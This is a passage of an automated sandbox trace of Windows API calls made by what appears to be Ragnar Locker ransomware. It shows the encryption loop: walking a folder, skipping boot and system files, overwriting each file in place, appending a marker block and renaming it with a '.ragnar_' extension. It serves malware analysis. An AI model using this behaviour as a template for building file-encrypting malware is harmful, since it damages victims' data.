hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a7, lpOverlapped=0x0) returned 1 [0092.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.803] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a7, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.803] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a7, lpOverlapped=0x0) returned 1 [0092.803] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.803] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.804] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.804] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.804] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.804] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.804] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.804] GetProcessHeap () returned 0x580000 [0092.804] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.804] CloseHandle (hObject=0xf4) returned 1 [0092.804] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" [0092.804] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.ragnar_FD7BD9FC" [0092.804] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.805] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1 [0092.805] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.806] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01294_.GIF" | out: lpString1="WB01294_.GIF") returned="WB01294_.GIF" [0092.806] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF") returned=".GIF" [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="autorun.inf") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="boot.ini") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="bootfont.bin") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="bootsect.bak") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="bootmgr") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="bootmgr.efi") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="desktop.ini") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="iconcache.db") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="ntldr") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="ntuser.dat") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="ntuser.ini") returned 1 [0092.806] lstrcmpiW (lpString1="WB01294_.GIF", lpString2="thumbs.db") returned 1 [0092.806] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.806] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.806] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.806] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.806] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.806] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.806] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif")) returned 0x20 [0092.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.807] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=685) returned 1 [0092.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.807] GetProcessHeap () returned 0x580000 [0092.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.807] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2ad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.808] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ad, lpOverlapped=0x0) returned 1 [0092.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.808] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ad, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.808] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ad, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ad, lpOverlapped=0x0) returned 1 [0092.808] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.808] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.809] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.809] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.809] GetProcessHeap () returned 0x580000 [0092.809] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.809] CloseHandle (hObject=0xf4) returned 1 [0092.809] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" [0092.809] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.ragnar_FD7BD9FC" [0092.809] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.810] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1 [0092.810] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.810] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01295_.GIF" | out: lpString1="WB01295_.GIF") returned="WB01295_.GIF" [0092.810] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF") returned=".GIF" [0092.810] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.810] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="autorun.inf") returned 1 [0092.810] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="boot.ini") returned 1 [0092.810] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="bootfont.bin") returned 1 [0092.810] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="bootsect.bak") returned 1 [0092.810] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="bootmgr") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="bootmgr.efi") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="desktop.ini") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="iconcache.db") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="ntldr") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="ntuser.dat") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="ntuser.ini") returned 1 [0092.811] lstrcmpiW (lpString1="WB01295_.GIF", lpString2="thumbs.db") returned 1 [0092.811] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.811] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.811] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.811] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.811] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.811] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.811] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif")) returned 0x20 [0092.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.811] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=353) returned 1 [0092.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.812] GetProcessHeap () returned 0x580000 [0092.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.812] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.813] VirtualAlloc (lpAddress=0x0, dwSize=0x161, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.813] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x161, lpOverlapped=0x0) returned 1 [0092.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.813] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x161, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.813] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x161, lpOverlapped=0x0) returned 1 [0092.813] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x161, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.813] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x161, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.814] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.814] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.814] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.814] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.814] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.814] GetProcessHeap () returned 0x580000 [0092.814] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.814] CloseHandle (hObject=0xf4) returned 1 [0092.814] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" [0092.814] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.ragnar_FD7BD9FC" [0092.814] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.815] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1 [0092.815] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.815] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01296_.GIF" | out: lpString1="WB01296_.GIF") returned="WB01296_.GIF" [0092.815] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF") returned=".GIF" [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="autorun.inf") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="boot.ini") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="bootfont.bin") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="bootsect.bak") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="bootmgr") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="bootmgr.efi") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="desktop.ini") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="iconcache.db") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="ntldr") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="ntuser.dat") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="ntuser.ini") returned 1 [0092.816] lstrcmpiW (lpString1="WB01296_.GIF", lpString2="thumbs.db") returned 1 [0092.816] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.816] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.816] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.816] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.816] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.816] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.816] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif")) returned 0x20 [0092.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.817] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=495) returned 1 [0092.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.817] GetProcessHeap () returned 0x580000 [0092.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.817] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.818] VirtualAlloc (lpAddress=0x0, dwSize=0x1ef, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.818] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ef, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ef, lpOverlapped=0x0) returned 1 [0092.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.818] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.818] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ef, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ef, lpOverlapped=0x0) returned 1 [0092.818] UnlockFile (hFile=0xf4, 